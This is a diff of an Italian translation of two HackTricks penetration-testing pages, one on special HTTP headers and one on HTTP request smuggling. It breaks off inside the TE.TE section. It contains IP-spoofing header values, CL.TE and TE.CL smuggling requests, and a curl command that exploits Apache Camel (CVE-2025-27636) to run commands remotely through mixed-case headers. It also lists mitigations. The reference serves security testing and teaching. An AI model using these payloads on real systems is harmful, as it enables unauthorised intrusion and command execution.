Translated ['src/network-services-pentesting/pentesting-web/special-http

src/network-services-pentesting/pentesting-web/special-http-headers.md

@@ -1,4 +1,4 @@
-# Special HTTP headers
+# Header HTTP speciali
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -7,9 +7,9 @@
 - [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
 - [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
 
-## Headers to Change Location
+## Header per modificare la Location
 
-Rewrite **IP source**:
+Riscrivere **origine IP**:
 
 - `X-Originating-IP: 127.0.0.1`
 - `X-Forwarded-For: 127.0.0.1`
@@ -26,19 +26,20 @@ Rewrite **IP source**:
 - `True-Client-IP: 127.0.0.1`
 - `Cluster-Client-IP: 127.0.0.1`
 - `Via: 1.0 fred, 1.1 127.0.0.1`
-- `Connection: close, X-Forwarded-For` (Controlla gli header hop-by-hop)
+- `Connection: close, X-Forwarded-For` (Controllare gli hop-by-hop headers)
 
-Rewrite **location**:
+Riscrivere **location**:
 
 - `X-Original-URL: /admin/console`
 - `X-Rewrite-URL: /admin/console`
 
 ## Hop-by-Hop headers
 
-Un header hop-by-hop è un header progettato per essere elaborato e consumato dal proxy che gestisce attualmente la richiesta, a differenza di un header end-to-end.
+Un hop-by-hop header è un'intestazione progettata per essere elaborata e consumata dal proxy che sta gestendo la richiesta, al contrario di un header end-to-end.
 
 - `Connection: close, X-Forwarded-For`
 
+
 {{#ref}}
 ../../pentesting-web/abusing-hop-by-hop-headers.md
 {{#endref}}
@@ -48,78 +49,98 @@ Un header hop-by-hop è un header progettato per essere elaborato e consumato da
 - `Content-Length: 30`
 - `Transfer-Encoding: chunked`
 
+
 {{#ref}}
 ../../pentesting-web/http-request-smuggling/
 {{#endref}}
 
-## Cache Headers
+## L'header Expect
+
+È possibile che il client invii l'header `Expect: 100-continue` e che il server risponda con `HTTP/1.1 100 Continue` per permettere al client di continuare a inviare il body della richiesta. Tuttavia, alcuni proxy non gradiscono questo header.
+
+Risultati interessanti di `Expect: 100-continue`:
+- Inviare una HEAD request con un body: il server non tiene conto che le HEAD non devono avere body e mantiene la connessione aperta fino al timeout.
+- Alcuni server hanno restituito dati strani: dati casuali letti dal socket nella risposta, chiavi segrete o addirittura è servito a impedire al front-end di rimuovere certi valori di header.
+- Ha anche causato un desync `0.CL` perché il backend ha risposto con un 400 invece di un 100, ma il proxy front-end era pronto a inviare il body della richiesta iniziale; quindi lo invia e il backend lo interpreta come una nuova richiesta.
+- Inviare una variazione come `Expect: y 100-continue` ha causato anch'essa il desync `0.CL`.
+- Un errore simile in cui il backend ha risposto con un 404 ha generato un desync `CL.0` perché la richiesta malevola indicava un `Content-Length`; così il backend invia la richiesta malevola + i `Content-Length` byte della richiesta successiva (di una vittima). Questo desincronizza la coda perché il backend invia la risposta 404 per la richiesta malevola + la risposta delle richieste della vittima, mentre il front-end pensava che fosse stata inviata una sola richiesta, quindi la seconda risposta viene inviata a una seconda vittima e la risposta di quella viene inviata alla successiva...
+
+Per maggiori informazioni su HTTP Request Smuggling controlla:
+
+{{#ref}}
+../../pentesting-web/http-request-smuggling/
+{{#endref}}
+
+
+## Intestazioni di Cache
 
 **Server Cache Headers**:
 
-- **`X-Cache`** nella risposta può avere il valore **`miss`** quando la richiesta non è stata memorizzata nella cache e il valore **`hit`** quando è memorizzata nella cache
+- **`X-Cache`** nella risposta può avere il valore **`miss`** quando la richiesta non è stata cacheata e il valore **`hit`** quando lo è
 - Comportamento simile nell'header **`Cf-Cache-Status`**
-- **`Cache-Control`** indica se una risorsa è memorizzata nella cache e quando sarà la prossima volta che la risorsa sarà memorizzata di nuovo: `Cache-Control: public, max-age=1800`
-- **`Vary`** è spesso usato nella risposta per **indicare header aggiuntivi** che sono trattati come **parte della chiave della cache** anche se normalmente non sono chiave.
-- **`Age`** definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy.
-- **`Server-Timing: cdn-cache; desc=HIT`** indica anche che una risorsa è stata memorizzata nella cache
+- **`Cache-Control`** indica se una risorsa viene cacheata e per quanto tempo: `Cache-Control: public, max-age=1800`
+- **`Vary`** è spesso usato nella risposta per **indicare header aggiuntivi** che sono considerati **parte della chiave di cache** anche se normalmente non lo sono.
+- **`Age`** definisce i secondi trascorsi da quando l'oggetto è nella cache del proxy.
+- **`Server-Timing: cdn-cache; desc=HIT`** indica anch'esso che una risorsa è stata cacheata
+
 
 {{#ref}}
 ../../pentesting-web/cache-deception/
 {{#endref}}
 
-**Local Cache headers**:
+**Intestazioni Cache locali**:
 
-- `Clear-Site-Data`: Header per indicare la cache che dovrebbe essere rimossa: `Clear-Site-Data: "cache", "cookies"`
-- `Expires`: Contiene la data/ora in cui la risposta dovrebbe scadere: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
-- `Pragma: no-cache` stesso di `Cache-Control: no-cache`
-- `Warning`: L'header generale **`Warning`** contiene informazioni su possibili problemi con lo stato del messaggio. Più di un header `Warning` può apparire in una risposta. `Warning: 110 anderson/1.3.37 "Response is stale"`
+- `Clear-Site-Data`: Header per indicare quali cache devono essere rimosse: `Clear-Site-Data: "cache", "cookies"`
+- `Expires`: Contiene la data/ora in cui la risposta deve scadere: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
+- `Pragma: no-cache` equivalente a `Cache-Control: no-cache`
+- `Warning`: L'header generale **`Warning`** contiene informazioni su possibili problemi con lo stato del messaggio. Possono apparire più header `Warning` in una risposta. `Warning: 110 anderson/1.3.37 "Response is stale"`
 
-## Conditionals
+## Condizionali
 
-- Le richieste che utilizzano questi header: **`If-Modified-Since`** e **`If-Unmodified-Since`** riceveranno una risposta con dati solo se l'header di risposta **`Last-Modified`** contiene un orario diverso.
-- Le richieste condizionali che utilizzano **`If-Match`** e **`If-None-Match`** usano un valore Etag in modo che il server web invii il contenuto della risposta se i dati (Etag) sono cambiati. L'`Etag` è preso dalla risposta HTTP.
-- Il valore **Etag** è solitamente **calcolato** in base al **contenuto** della risposta. Ad esempio, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indica che l'`Etag` è il **Sha1** di **37 byte**.
+- Le richieste che usano gli header **`If-Modified-Since`** e **`If-Unmodified-Since`** riceveranno la risposta con i dati solo se l'header di risposta **`Last-Modified`** contiene un orario diverso.
+- Le richieste condizionali che usano **`If-Match`** e **`If-None-Match`** utilizzano un valore Etag, quindi il web server invierà il contenuto della risposta se il dato (Etag) è cambiato. L'`Etag` viene preso dalla risposta HTTP.
+- Il valore **Etag** è solitamente **calcolato** in base al **contenuto** della risposta. Per esempio, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indica che l'Etag è lo **Sha1** di **37 byte**.
 
 ## Range requests
 
-- **`Accept-Ranges`**: Indica se il server supporta le richieste di intervallo e, in tal caso, in quale unità l'intervallo può essere espresso. `Accept-Ranges: <range-unit>`
-- **`Range`**: Indica la parte di un documento che il server dovrebbe restituire. Ad esempio, `Range:80-100` restituirà i byte da 80 a 100 della risposta originale con un codice di stato di 206 Contenuto Parziale. Ricorda anche di rimuovere l'header `Accept-Encoding` dalla richiesta.
-- Questo potrebbe essere utile per ottenere una risposta con codice JavaScript riflesso arbitrario che altrimenti potrebbe essere sfuggito. Ma per abusare di questo dovresti iniettare questi header nella richiesta.
-- **`If-Range`**: Crea una richiesta di intervallo condizionale che viene soddisfatta solo se l'etag o la data forniti corrispondono alla risorsa remota. Usato per prevenire il download di due intervalli da versioni incompatibili della risorsa.
-- **`Content-Range`**: Indica dove in un messaggio a corpo completo appartiene un messaggio parziale.
+- **`Accept-Ranges`**: Indica se il server supporta le range requests, e se sì in quale unità la range può essere espressa. `Accept-Ranges: <range-unit>`
+- **`Range`**: Indica la parte di un documento che il server dovrebbe restituire. Per esempio, `Range:80-100` restituirà i byte 80-100 della risposta originale con codice 206 Partial Content. Ricorda inoltre di rimuovere l'header `Accept-Encoding` dalla richiesta.
+- Questo può essere utile per ottenere una risposta con codice javascript riflesso arbitrario che altrimenti potrebbe essere escapato. Ma per abusarne dovresti iniettare questi header nella richiesta.
+- **`If-Range`**: Crea una range request condizionale che viene soddisfatta solo se l'etag o la data fornita corrispondono alla risorsa remota. Utilizzato per evitare di scaricare due range da versioni incompatibili della risorsa.
+- **`Content-Range`**: Indica dove, in un messaggio body completo, appartiene il messaggio parziale.
 
-## Message body information
+## Informazioni sul corpo del messaggio
 
 - **`Content-Length`:** La dimensione della risorsa, in numero decimale di byte.
-- **`Content-Type`**: Indica il tipo di media della risorsa
+- **`Content-Type`**: Indica il media type della risorsa
 - **`Content-Encoding`**: Usato per specificare l'algoritmo di compressione.
-- **`Content-Language`**: Descrive la/e lingua/e umana/e destinate al pubblico, in modo che consenta a un utente di differenziare in base alla lingua preferita dell'utente.
+- **`Content-Language`**: Descrive la/ le lingua/e umane destinate al pubblico, permettendo all'utente di differenziare secondo le proprie preferenze linguistiche.
 - **`Content-Location`**: Indica una posizione alternativa per i dati restituiti.
 
-Dal punto di vista di un pentest, queste informazioni sono solitamente "inutili", ma se la risorsa è **protetta** da un 401 o 403 e riesci a trovare un **modo** per **ottenere** queste **info**, questo potrebbe essere **interessante.**\
-Ad esempio, una combinazione di **`Range`** e **`Etag`** in una richiesta HEAD può rivelare il contenuto della pagina tramite richieste HEAD:
+Dal punto di vista di un pentest queste informazioni sono solitamente "inutili", ma se la risorsa è **protetta** da un 401 o 403 e trovi un qualche **modo** per **ottenere** queste **info**, potrebbe essere **interessante.**\
+Per esempio, una combinazione di **`Range`** ed **`Etag`** in una HEAD request può leakare il contenuto della pagina tramite richieste HEAD:
 
-- Una richiesta con l'header `Range: bytes=20-20` e con una risposta contenente `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` sta rivelando che il SHA1 del byte 20 è `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
+- Una richiesta con l'header `Range: bytes=20-20` e con una risposta contenente `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` sta leakando che lo SHA1 del byte 20 è `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
 
-## Server Info
+## Informazioni sul server
 
 - `Server: Apache/2.4.1 (Unix)`
 - `X-Powered-By: PHP/5.3.3`
 
-## Controls
+## Controlli
 
-- **`Allow`**: Questo header è usato per comunicare i metodi HTTP che una risorsa può gestire. Ad esempio, potrebbe essere specificato come `Allow: GET, POST, HEAD`, indicando che la risorsa supporta questi metodi.
-- **`Expect`**: Utilizzato dal client per comunicare le aspettative che il server deve soddisfare affinché la richiesta venga elaborata con successo. Un caso d'uso comune coinvolge l'header `Expect: 100-continue`, che segnala che il client intende inviare un grande payload di dati. Il client cerca una risposta `100 (Continue)` prima di procedere con la trasmissione. Questo meccanismo aiuta a ottimizzare l'uso della rete attendendo la conferma del server.
+- **`Allow`**: Questo header è usato per comunicare i metodi HTTP che una risorsa può gestire. Per esempio, potrebbe essere `Allow: GET, POST, HEAD`, indicando che la risorsa supporta questi metodi.
+- **`Expect`**: Utilizzato dal client per comunicare aspettative che il server deve soddisfare affinché la richiesta venga processata con successo. Un uso comune è l'header `Expect: 100-continue`, che segnala l'intenzione del client di inviare un payload di grandi dimensioni. Il client si aspetta una risposta `100 (Continue)` prima di procedere con la trasmissione. Questo meccanismo aiuta a ottimizzare l'uso della rete attendendo la conferma del server.
 
-## Downloads
+## Download
 
-- L'header **`Content-Disposition`** nelle risposte HTTP indica se un file dovrebbe essere visualizzato **inline** (all'interno della pagina web) o trattato come un **allegato** (scaricato). Ad esempio:
+- L'header **`Content-Disposition`** nelle risposte HTTP indica se un file deve essere mostrato **inline** (all'interno della pagina) o trattato come **attachment** (scaricato). Per esempio:
 ```
 Content-Disposition: attachment; filename="filename.jpg"
 ```
-Questo significa che il file chiamato "filename.jpg" è destinato ad essere scaricato e salvato.
+Questo significa che il file chiamato "filename.jpg" è destinato a essere scaricato e salvato.
 
-## Intestazioni di Sicurezza
+## Intestazioni di sicurezza
 
 ### Content Security Policy (CSP) <a href="#csp" id="csp"></a>
 
@@ -128,9 +149,9 @@ Questo significa che il file chiamato "filename.jpg" è destinato ad essere scar
 ../../pentesting-web/content-security-policy-csp-bypass/
 {{#endref}}
 
-### **Tipi Fidati**
+### **Trusted Types**
 
-Imponendo i Tipi Fidati tramite CSP, le applicazioni possono essere protette contro attacchi DOM XSS. I Tipi Fidati garantiscono che solo oggetti specificamente progettati, conformi alle politiche di sicurezza stabilite, possano essere utilizzati in chiamate API web pericolose, garantendo così la sicurezza del codice JavaScript per impostazione predefinita.
+Applicando Trusted Types tramite CSP, le applicazioni possono essere protette contro attacchi DOM XSS. Trusted Types garantiscono che solo oggetti appositamente creati, conformi alle policy di sicurezza stabilite, possano essere usati in chiamate API web pericolose, proteggendo così il codice JavaScript per impostazione predefinita.
 ```javascript
 // Feature detection
 if (window.trustedTypes && trustedTypes.createPolicy) {
@@ -149,19 +170,19 @@ el.innerHTML = escaped // Results in safe assignment.
 ```
 ### **X-Content-Type-Options**
 
-Questo header previene il MIME type sniffing, una pratica che potrebbe portare a vulnerabilità XSS. Garantisce che i browser rispettino i tipi MIME specificati dal server.
+Questo header impedisce il MIME type sniffing, una pratica che potrebbe portare a vulnerabilità XSS. Garantisce che i browser rispettino i MIME types specificati dal server.
 ```
 X-Content-Type-Options: nosniff
 ```
 ### **X-Frame-Options**
 
-Per combattere il clickjacking, questo header limita come i documenti possono essere incorporati nei tag `<frame>`, `<iframe>`, `<embed>` o `<object>`, raccomandando a tutti i documenti di specificare esplicitamente i loro permessi di incorporamento.
+Per contrastare il clickjacking, questa intestazione limita il modo in cui i documenti possono essere incorporati nei tag `<frame>`, `<iframe>`, `<embed>` o `<object>`, raccomandando a tutti i documenti di specificare esplicitamente le proprie autorizzazioni di incorporazione.
 ```
 X-Frame-Options: DENY
 ```
-### **Cross-Origin Resource Policy (CORP) e Cross-Origin Resource Sharing (CORS)**
+### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
 
-CORP è fondamentale per specificare quali risorse possono essere caricate dai siti web, mitigando le perdite cross-site. CORS, d'altra parte, consente un meccanismo di condivisione delle risorse cross-origin più flessibile, allentando la politica di same-origin in determinate condizioni.
+CORP è cruciale per specificare quali risorse possono essere caricate dai siti web, mitigando i cross-site leaks. CORS, invece, permette un meccanismo più flessibile di condivisione cross-origin delle risorse, rilassando la same-origin policy in determinate condizioni.
 ```
 Cross-Origin-Resource-Policy: same-origin
 Access-Control-Allow-Origin: https://example.com
@@ -169,50 +190,50 @@ Access-Control-Allow-Credentials: true
 ```
 ### **Cross-Origin Embedder Policy (COEP) e Cross-Origin Opener Policy (COOP)**
 
-COEP e COOP sono essenziali per abilitare l'isolamento cross-origin, riducendo significativamente il rischio di attacchi simili a Spectre. Controllano il caricamento delle risorse cross-origin e l'interazione con le finestre cross-origin, rispettivamente.
+COEP e COOP sono essenziali per abilitare l'isolamento cross-origin, riducendo significativamente il rischio di attacchi simili a Spectre. Controllano rispettivamente il caricamento di risorse cross-origin e l'interazione con finestre cross-origin.
 ```
 Cross-Origin-Embedder-Policy: require-corp
 Cross-Origin-Opener-Policy: same-origin-allow-popups
 ```
 ### **HTTP Strict Transport Security (HSTS)**
 
-Infine, HSTS è una funzione di sicurezza che costringe i browser a comunicare con i server solo tramite connessioni HTTPS sicure, migliorando così la privacy e la sicurezza.
+Infine, HSTS è una funzionalità di sicurezza che obbliga i browser a comunicare con i server solo tramite connessioni HTTPS sicure, migliorando così la privacy e la sicurezza.
 ```
 Strict-Transport-Security: max-age=3153600
 ```
 ## Header Name Casing Bypass
 
-HTTP/1.1 definisce i nomi dei campi header come **case-insensitive** (RFC 9110 §5.1). Tuttavia, è molto comune trovare middleware personalizzati, filtri di sicurezza o logica aziendale che confrontano il nome dell'header *letterale* ricevuto senza normalizzare prima la capitalizzazione (ad esempio, `header.equals("CamelExecCommandExecutable")`). Se questi controlli vengono eseguiti **case-sensitively**, un attaccante può eluderli semplicemente inviando lo stesso header con una diversa capitalizzazione.
+HTTP/1.1 definisce i nomi dei campi header come **insensibili alle maiuscole/minuscole** (RFC 9110 §5.1). Tuttavia, è molto comune trovare middleware personalizzati, filtri di sicurezza o logica di business che confrontano il nome dell'header ricevuto *letteralmente* senza normalizzare prima il case (es. `header.equals("CamelExecCommandExecutable")`). Se questi controlli vengono eseguiti **sensibili alle maiuscole/minuscole**, un attaccante può aggirarli semplicemente inviando lo stesso header con una capitalizzazione diversa.
 
-Situazioni tipiche in cui appare questo errore:
+Situazioni tipiche in cui questo errore appare:
 
-* Liste di autorizzazione/negazione personalizzate che cercano di bloccare header interni "pericolosi" prima che la richiesta raggiunga un componente sensibile.
-* Implementazioni interne di pseudo-header di reverse-proxy (ad esempio, sanificazione di `X-Forwarded-For`).
-* Framework che espongono endpoint di gestione / debug e si basano sui nomi degli header per l'autenticazione o la selezione dei comandi.
+* Liste allow/deny personalizzate che cercano di bloccare header “pericolosi” interni prima che la richiesta raggiunga un componente sensibile.
+* Implementazioni interne di pseudo-header dei reverse-proxy (es. `X-Forwarded-For` sanitisation).
+* Framework che espongono endpoint di management / debug e si basano sui nomi degli header per l'autenticazione o la selezione dei comandi.
 
 ### Abusing the bypass
 
-1. Identificare un header che viene filtrato o convalidato lato server (ad esempio, leggendo il codice sorgente, la documentazione o i messaggi di errore).
-2. Inviare lo **stesso header con una diversa capitalizzazione** (mixed-case o maiuscolo). Poiché gli stack HTTP di solito canonizzano gli header solo *dopo* che il codice utente è stato eseguito, il controllo vulnerabile può essere saltato.
-3. Se il componente downstream tratta gli header in modo case-insensitive (la maggior parte lo fa), accetterà il valore controllato dall'attaccante.
+1. Identificare un header che viene filtrato o validato server-side (per esempio leggendo il source code, la documentazione o i messaggi di errore).
+2. Inviare lo **stesso header con una capitalizzazione diversa** (mixed-case o tutto maiuscolo). Poiché gli stack HTTP di solito canonicalizzano gli header solo *dopo* che il codice utente è stato eseguito, il controllo vulnerabile può essere saltato.
+3. Se il componente a valle tratta gli header in modo case-insensitive (la maggior parte lo fa), accetterà il valore controllato dall'attaccante.
 
 ### Example: Apache Camel `exec` RCE (CVE-2025-27636)
 
-Nelle versioni vulnerabili di Apache Camel, le rotte del *Command Center* cercano di bloccare richieste non attendibili rimuovendo gli header `CamelExecCommandExecutable` e `CamelExecCommandArgs`. Il confronto è stato effettuato con `equals()`, quindi solo i nomi esatti in minuscolo sono stati rimossi.
+Nelle versioni vulnerabili di Apache Camel le route del *Command Center* cercano di bloccare le richieste non attendibili rimuovendo gli header `CamelExecCommandExecutable` e `CamelExecCommandArgs`. La comparazione veniva fatta con `equals()`, quindi venivano rimossi solo i nomi corrispondenti esattamente nel loro case.
 ```bash
 # Bypass the filter by using mixed-case header names and execute `ls /` on the host
 curl "http://<IP>/command-center" \
 -H "CAmelExecCommandExecutable: ls" \
 -H "CAmelExecCommandArgs: /"
 ```
-Le intestazioni raggiungono il componente `exec` non filtrate, risultando in un'esecuzione di comandi remoti con i privilegi del processo Camel.
+Le intestazioni raggiungono il componente `exec` senza filtraggio, causando l'esecuzione remota di comandi con i privilegi del processo Camel.
 
-### Rilevamento e Mitigazione
+### Rilevamento e mitigazione
 
-* Normalizza tutti i nomi delle intestazioni a un singolo caso (di solito minuscolo) **prima** di eseguire confronti di autorizzazione/rifiuto.
-* Rifiuta duplicati sospetti: se sono presenti sia `Header:` che `HeAdEr:`, trattalo come un'anomalia.
-* Utilizza una lista di autorizzazione positiva applicata **dopo** la canonicalizzazione.
-* Proteggi gli endpoint di gestione con autenticazione e segmentazione della rete.
+* Normalizzare tutti i nomi delle intestazioni in un unico case (di solito lowercase) **prima** di eseguire confronti allow/deny.
+* Rifiutare duplicati sospetti: se sono presenti sia `Header:` che `HeAdEr:`, considerarlo un'anomalia.
+* Usare una allow-list positiva applicata **dopo** la canonicalizzazione.
+* Proteggere gli endpoint di gestione con autenticazione e segmentazione di rete.
 
 
 ## Riferimenti

src/pentesting-web/http-request-smuggling/README.md

@@ -3,10 +3,10 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 
-## Cos'è
+## Che cos'è
 
-Questa vulnerabilità si verifica quando una **desincronizzazione** tra i **front-end proxies** e il **back-end** server permette a un **attaccante** di **inviare** una richiesta HTTP che verrà **interpretata** come **una singola request** dai **front-end** proxies (load balancer/reverse-proxy) e **come 2 request** dal **back-end** server.\
-Questo permette a un utente di **modificare la prossima request che arriva al back-end server dopo la sua**.
+Questa vulnerabilità si verifica quando una **desyncronization** tra **front-end proxies** e il **back-end** server permette a un **attacker** di **send** una richiesta HTTP che sarà **interpreted** come una **single request** dai **front-end** proxies (load balance/reverse-proxy) e **as 2 request** dal **back-end** server.\
+Questo consente a un utente di **modify the next request that arrives to the back-end server after his**.
 
 ### Teoria
 
@@ -25,40 +25,57 @@ Questo permette a un utente di **modificare la prossima request che arriva al ba
 
 ### Realtà
 
-Il **Front-End** (un load-balancer / Reverse Proxy) **processa** l'header _**Content-Length**_ o l'header _**Transfer-Encoding**_ e il **Back-end** server **processa l'altro**, provocando una **desincronizzazione** tra i 2 sistemi.\
-Questo può essere molto critico perché **un attaccante potrà inviare una request** al reverse proxy che sarà **interpretata** dal **back-end** server **come 2 richieste differenti**. Il **pericolo** di questa tecnica risiede nel fatto che il **back-end** server **interpreta** la **2ª request iniettata** come se provenisse dal prossimo client e la **vera request** di quel client sarà **parte** della **request iniettata**.
+Il **Front-End** (un load-balance / Reverse Proxy) **process** l'header _**Content-Length**_ o l'header _**Transfer-Encoding**_ e il **Back-end** server **process the other**, provocando una **desyncronization** tra i 2 sistemi.\
+Questo può essere molto critico perché **an attacker will be able to send one request** al reverse proxy che sarà **interpreted** dal **back-end** server **as 2 different requests**. Il **pericolo** di questa tecnica risiede nel fatto che il **back-end** server **will interpret** la **2nd request injected** come se **came from the next client** e la **real request** di quel client sarà **part** della **injected request**.
 
 ### Particolarità
 
 Ricorda che in HTTP **un carattere di nuova linea è composto da 2 byte:**
 
-- **Content-Length**: Questo header usa un **numero decimale** per indicare il **numero** di **byte** del **body** della request. Ci si aspetta che il body termini nell'ultimo carattere, **non è necessario un new line alla fine della request**.
-- **Transfer-Encoding:** Questo header usa nel **body** un **numero esadecimale** per indicare il **numero** di **byte** del **prossimo chunk**. Il **chunk** deve **terminare** con una **nuova linea** ma questa nuova linea **non è conteggiata** dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un **chunk di size 0 seguito da 2 new line**: `0`
-- **Connection**: Dalla mia esperienza è raccomandato usare **`Connection: keep-alive`** nella prima request dello request Smuggling.
+- **Content-Length**: Questo header usa un **numero decimale** per indicare il **numero** di **bytes** del **body** della richiesta. Il body è previsto che finisca con l'ultimo carattere, **non è necessaria una nuova linea alla fine della richiesta**.
+- **Transfer-Encoding:** Questo header utilizza nel **body** un **numero esadecimale** per indicare il **numero** di **bytes** del **prossimo chunk**. Il **chunk** deve **terminare** con una **nuova linea** ma questa nuova linea **non è conteggiata** dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un **chunk di size 0 seguito da 2 nuove linee**: `0`
+- **Connection**: Dalla mia esperienza è raccomandato usare **`Connection: keep-alive`** sulla prima request dello request Smuggling.
+
+### Visibile - Nascosto
+
+Il problema principale con http/1.1 è che tutte le requests viaggiano nello stesso socket TCP, quindi se viene trovata una discrepanza tra 2 sistemi che ricevono le richieste è possibile inviare una request che sarà trattata come 2 richieste differenti (o più) dal backend finale (o anche da sistemi intermedi).
+
+**[This blog post](https://portswigger.net/research/http1-must-die)** propone nuovi modi per rilevare desync attacks a un sistema che non saranno segnalati dai WAF. Per questo presenta i comportamenti Visible vs Hidden. L'obiettivo in questo caso è cercare discrepanze nelle risposte usando tecniche che potrebbero causare desync senza sfruttare effettivamente nulla.
+
+Per esempio, inviando una request con l'header normale Host e un header " host", se il backend si lamenta di questa request (forse perché il valore di " host" è errato) potrebbe significare che il front-end non ha visto l'header " host" mentre il backend finale lo ha usato, altamente probabile implicando una desync tra front-end e backend.
+
+Questo sarebbe una discrepanza **Nascosto-Visibile**.
+
+Se il front-end avesse preso in considerazione l'header " host" ma il backend no, questa potrebbe essere stata una situazione **Visibile-Nascosto**.
+
+Per esempio, questo ha permesso di scoprire desyncs tra AWS ALB come front-end e IIS come backend. Questo perché quando è stato inviato "Host: foo/bar" l'ALB ha restituito `400, Server; awselb/2.0`, ma quando è stato inviato "Host : foo/bar" ha restituito `400, Server: Microsoft-HTTPAPI/2.0`, indicando che il backend stava inviando la risposta. Questa è una situazione Nascosto-Visibile (H-V).
+
+Nota che questa situazione non è corretta in AWS, ma può essere prevenuta impostando `routing.http.drop_invalid_header_fields.enabled` e `routing.http.desync_mitigation_mode = strictest`.
+
 
 ## Esempi di base
 
 > [!TIP]
-> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
+> Quando provi a sfruttare questo con Burp Suite **disabilita `Update Content-Length` e `Normalize HTTP/1 line endings`** nel repeater perché alcuni gadget abusano di newlines, carriage returns e content-length malformati.
 
-Gli attacchi di HTTP request smuggling sono costruiti inviando richieste ambigue che sfruttano discrepanze nel modo in cui front-end e back-end interpretano gli header `Content-Length` (CL) e `Transfer-Encoding` (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come **CL.TE**, **TE.CL**, e **TE.TE**. Ogni tipo rappresenta una combinazione diversa di come i server front-end e back-end danno priorità a questi header. Le vulnerabilità nascono dal fatto che i server processano la stessa request in modi diversi, portando a risultati inaspettati e potenzialmente malevoli.
+Gli attacchi di HTTP request smuggling sono creati inviando richieste ambigue che sfruttano discrepanze nel modo in cui front-end e back-end interpretano gli header `Content-Length` (CL) e `Transfer-Encoding` (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come **CL.TE**, **TE.CL**, e **TE.TE**. Ogni tipo rappresenta una combinazione diversa di come i server front-end e back-end danno priorità a questi header. Le vulnerabilità sorgono dal fatto che i server processano la stessa request in modi diversi, portando a risultati inaspettati e potenzialmente dannosi.
 
 ### Esempi base di tipi di vulnerabilità
 
 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
 
 > [!TIP]
-> Alla tabella precedente dovresti aggiungere la tecnica TE.0, simile a CL.0 ma usando Transfer-Encoding.
+> Al tavolo precedente dovresti aggiungere la tecnica TE.0, simile a CL.0 ma usando Transfer Encoding.
 
-#### CL.TE Vulnerability (Content-Length usato dal Front-End, Transfer-Encoding usato dal Back-End)
+#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
 
 - **Front-End (CL):** Processa la request basandosi sull'header `Content-Length`.
 - **Back-End (TE):** Processa la request basandosi sull'header `Transfer-Encoding`.
-- **Scenario d'attacco:**
+- **Scenario di attacco:**
 
-- L'attaccante invia una request dove il valore dell'header `Content-Length` non corrisponde alla lunghezza reale del contenuto.
+- L'attacker invia una request dove il valore dell'header `Content-Length` non corrisponde alla lunghezza effettiva del contenuto.
 - Il front-end server inoltra l'intera request al back-end, basandosi sul valore di `Content-Length`.
-- Il back-end server processa la request come chunked a causa dell'header `Transfer-Encoding: chunked`, interpretando i dati rimanenti come una richiesta separata successiva.
+- Il back-end server processa la request come chunked a causa dell'header `Transfer-Encoding: chunked`, interpretando i dati rimanenti come una request separata e successiva.
 - **Esempio:**
 
 ```
@@ -74,15 +91,15 @@ GET /404 HTTP/1.1
 Foo: x
 ```
 
-#### TE.CL Vulnerability (Transfer-Encoding usato dal Front-End, Content-Length usato dal Back-End)
+#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
 
 - **Front-End (TE):** Processa la request basandosi sull'header `Transfer-Encoding`.
 - **Back-End (CL):** Processa la request basandosi sull'header `Content-Length`.
-- **Scenario d'attacco:**
+- **Scenario di attacco:**
 
-- L'attaccante invia una request chunked dove la dimensione del chunk (`7b`) e la lunghezza reale del contenuto (`Content-Length: 4`) non coincidono.
+- L'attacker invia una request chunked dove la dimensione del chunk (`7b`) e la lunghezza effettiva del contenuto (`Content-Length: 4`) non sono allineate.
 - Il front-end server, rispettando `Transfer-Encoding`, inoltra l'intera request al back-end.
-- Il back-end server, rispettando `Content-Length`, processa solo la parte iniziale della request (`7b` bytes), lasciando il resto come parte di una richiesta successiva non intenzionale.
+- Il back-end server, rispettando `Content-Length`, processa solo la parte iniziale della request (`7b` bytes), lasciando il resto come parte di una request successiva non intenzionale.
 - **Esempio:**
 
 ```
@@ -103,14 +120,14 @@ x=
 
 ```
 
-#### TE.TE Vulnerability (Transfer-Encoding usato da entrambi, con offuscamento)
+#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
 
-- **Servers:** Entrambi supportano `Transfer-Encoding`, ma uno può essere ingannato non riconoscendo l'offuscamento.
-- **Scenario d'attacco:**
+- **Servers:** Entrambi supportano `Transfer-Encoding`, ma uno può essere ingannato nell'ignorarlo tramite obfuscation.
+- **Scenario di attacco:**
 
-- L'attaccante invia una request con header `Transfer-Encoding` offuscati.
-- A seconda di quale server (front-end o back-end) non riconosce l'offuscamento, si può sfruttare una vulnerabilità CL.TE o TE.CL.
-- La parte non processata della request, come vista da uno dei server, diventa parte di una richiesta successiva, portando a smuggling.
+- L'attacker invia una request con header `Transfer-Encoding` obfuscati.
